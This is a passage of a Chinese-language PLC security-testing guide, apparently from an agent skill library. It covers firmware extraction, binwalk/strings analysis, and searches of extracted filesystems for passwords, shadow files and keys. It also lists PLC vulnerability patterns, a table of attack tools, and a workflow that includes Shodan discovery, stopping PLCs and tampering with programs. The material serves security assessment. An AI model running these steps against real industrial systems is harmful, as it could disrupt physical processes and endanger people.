├─ 厂商网站下载(更新包 / 安装包)
│ Siemens: 需要 SiePortal 账户
│ Rockwell: 需要 Rockwell TechConnect
│ Schneider: 需要 SE MySchneider
│
├─ 从目标 PLC 直接提取
│ S7comm: 使用 snap7 的 full_upload()
│ CIP: 使用特定 CIP 服务读取固件
│ → 需要连接权限
│
├─ 从 Engineering Workstation 提取
│ TIA Portal 安装目录包含固件
│ %ProgramFiles%\Siemens\Automation\
│
├─ 通过调试接口
│ JTAG / SWD → 直接读取 Flash
│ UART → 获取 bootloader shell
│
└─ 从物理设备提取
拆解设备 → 脱焊 Flash 芯片 → 读取
工具: CH341A 编程器, Bus Pirate4.2 固件格式识别
# 基本信息
file firmware.bin
binwalk firmware.bin
# 输出示例:
# DECIMAL HEXADECIMAL DESCRIPTION
# 0 0x0 ARM Cortex-M firmware
# 4096 0x1000 gzip compressed data
# 524288 0x80000 Squashfs filesystem
# 786432 0xC0000 JFFS2 filesystem
# 熵分析(识别加密/压缩区域)
binwalk -E firmware.bin
# 高熵区域(接近 1.0)→ 加密或压缩
# 低熵区域 → 明文数据或代码
# 字符串提取(寻找敏感信息)
strings -n 8 firmware.bin | grep -iE 'password|key|secret|admin|root|login'
strings -n 8 firmware.bin | grep -iE 'http|ftp|ssh|telnet'
strings -n 8 firmware.bin | grep -iE '192\.|10\.|172\.'4.3 固件提取与分析
# binwalk 自动提取
binwalk -e firmware.bin
cd _firmware.bin.extracted/
# firmware-mod-kit 提取
./extract-firmware.sh firmware.bin
# 手动提取(dd)
dd if=firmware.bin of=rootfs.squashfs bs=1 skip=524288 count=262144
# 挂载文件系统
unsquashfs rootfs.squashfs
cd squashfs-root/
# 分析提取的文件系统
find . -name "*.conf" -o -name "*.cfg" -o -name "*.ini" # 配置文件
find . -name "*.key" -o -name "*.pem" -o -name "*.crt" # 密钥/证书
find . -name "passwd" -o -name "shadow" # 凭据
find . -perm -u+s -type f # SUID 文件
# 使用 Ghidra 逆向分析主程序
# 导入提取的 ELF/BIN → 选择正确的处理器架构
# 常见架构: ARM, ARM Cortex-M, PowerPC, MIPS, x864.4 常见漏洞模式
PLC 固件常见漏洞:
├─ Hardcoded Credentials(硬编码凭据)
│ ├─ 搜索: strings | grep -i password
│ ├─ 常见: admin/admin, root/root, service/service
│ └─ 有时是固件中的 SSH/Telnet 后门账户
│
├─ Hardcoded Cryptographic Keys(硬编码密钥)
│ ├─ 用于 TLS 通信的私钥
│ ├─ 用于固件加密/签名的对称密钥
│ └─ 所有同型号设备使用相同密钥 → 一台突破全部受影响
│
├─ Debug Interfaces(调试接口)
│ ├─ Telnet/SSH 默认开启
│ ├─ JTAG/SWD 未禁用
│ ├─ Web 管理界面隐藏端口
│ └─ UART console(物理访问时有用)
│
├─ Buffer Overflow(缓冲区溢出)
│ ├─ Web 服务器处理 HTTP 请求
│ ├─ 工控协议解析(畸形 Modbus/S7comm 包)
│ └─ 配置文件解析
│
├─ 不安全的固件更新
│ ├─ 无签名验证 → 可上传恶意固件
│ ├─ HTTP 明文下载 → MITM 替换固件
│ └─ 降级攻击 → 刷回有漏洞的旧版本
│
└─ 信息泄露
├─ 错误信息暴露内部路径/版本
├─ 未保护的配置备份接口
└─ SNMP 社区字符串泄露---
五、PLC 攻击工具总览
| 工具 | 目标 | 功能 |
|---|---|---|
| python-snap7 | Siemens S7 | 读写 DB/IO, Start/Stop, 上传/下载 |
| pycomm3 | Rockwell CIP | Tag 读写, 信息获取 |
| pymodbus | Modbus TCP | 寄存器/线圈读写 |
| ISF | 多协议 | 集成利用框架 |
| PLCScan | 多协议 | PLC 枚举与扫描 |
| Nmap ICS NSE | 多协议 | 协议识别与信息收集 |
| binwalk | 固件 | 固件分析与提取 |
| Ghidra | 固件 | 逆向分析 |
| firmware-mod-kit | 固件 | 提取/修改/重打包 |
---
六、攻击流程
PLC 攻击完整流程:
├─ Phase 1: 发现
│ ├─ Shodan/Censys → 暴露面
│ ├─ 网络扫描 → 端口 102/502/44818/47808
│ └─ 流量分析 → 协议识别
│
├─ Phase 2: 信息收集
│ ├─ 读取 PLC 型号/版本/序列号
│ ├─ 读取程序块列表
│ ├─ 读取 I/O 映射
│ └─ 理解控制逻辑
│
├─ Phase 3: 程序分析
│ ├─ 上传 PLC 程序
│ ├─ 逆向分析控制逻辑
│ ├─ 识别关键控制点
│ └─ 理解安全保护机制
│
├─ Phase 4: 利用(仅安全环境)
│ ├─ 修改设定值 → 验证可写
│ ├─ 停止/启动 PLC → 验证控制
│ └─ 程序篡改 → 仅在测试 PLC 上
│
└─ Phase 5: 报告
├─ 记录所有发现
├─ 评估业务影响
├─ 提供修复建议
└─ ⛔ 确保测试期间无实际损害---
参考链接
Related skills
AI & Agent Buildingagents